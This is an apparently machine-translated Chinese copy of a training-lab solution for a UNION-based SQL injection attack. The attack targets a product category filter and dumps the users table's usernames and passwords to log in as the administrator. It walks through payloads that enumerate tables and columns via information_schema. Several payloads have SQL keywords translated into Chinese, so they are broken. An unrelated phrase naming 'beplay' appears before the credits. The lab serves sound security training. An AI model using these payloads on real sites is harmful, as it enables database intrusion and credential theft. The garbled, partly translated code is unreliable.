实验室:SQL注入攻击,在非Oracle数据库上列出数据库内容
从业者
这个实验室包含一个SQL注入产品类别过滤器中的漏洞。查询的结果将在应用程序的响应中返回,因此您可以使用联合攻击从其他表中检索数据。
该应用程序具有登录功能,数据库包含一个包含用户名和密码的表。您需要确定此表的名称及其包含的列,然后检索表的内容以获取所有用户的用户名和密码。
要解决实验室,请登录行政人员
用户。
解决方案
- 使用Burp Suite拦截和修改设置产品类别过滤器的请求。
确定查询返回的列数和哪些列包含文本数据。验证查询是否正在返回两列,两列都包含文本,使用有效载荷如下类别
范围:
'+联合+选择+'abc','def' -
使用以下有效负载检索数据库中的表列表:
'+联合+选择+table_name,+null+来自+Information_schema.tables--
- 查找包含用户凭据的表的名称。
使用以下有效载荷(替换表名称)来检索表中列的详细信息:
'+Union+select+column_name,+null+来自+Information_schema.columns+where+table_name ='users_abcdef' -
- 查找包含用户名和密码的列的名称。
使用以下有效负载(替换表和列名)为所有用户检索用户名和密码:
'+Union+选择+username_abcdef,+password_abcdef+来自+users_abcdef--
- 查找密码
行政人员
用户,并使用它登录。
社区解决方案beplay维护得多久
拉娜·哈利尔(Rana Khalil)
迈克尔·索默(Michael Sommer)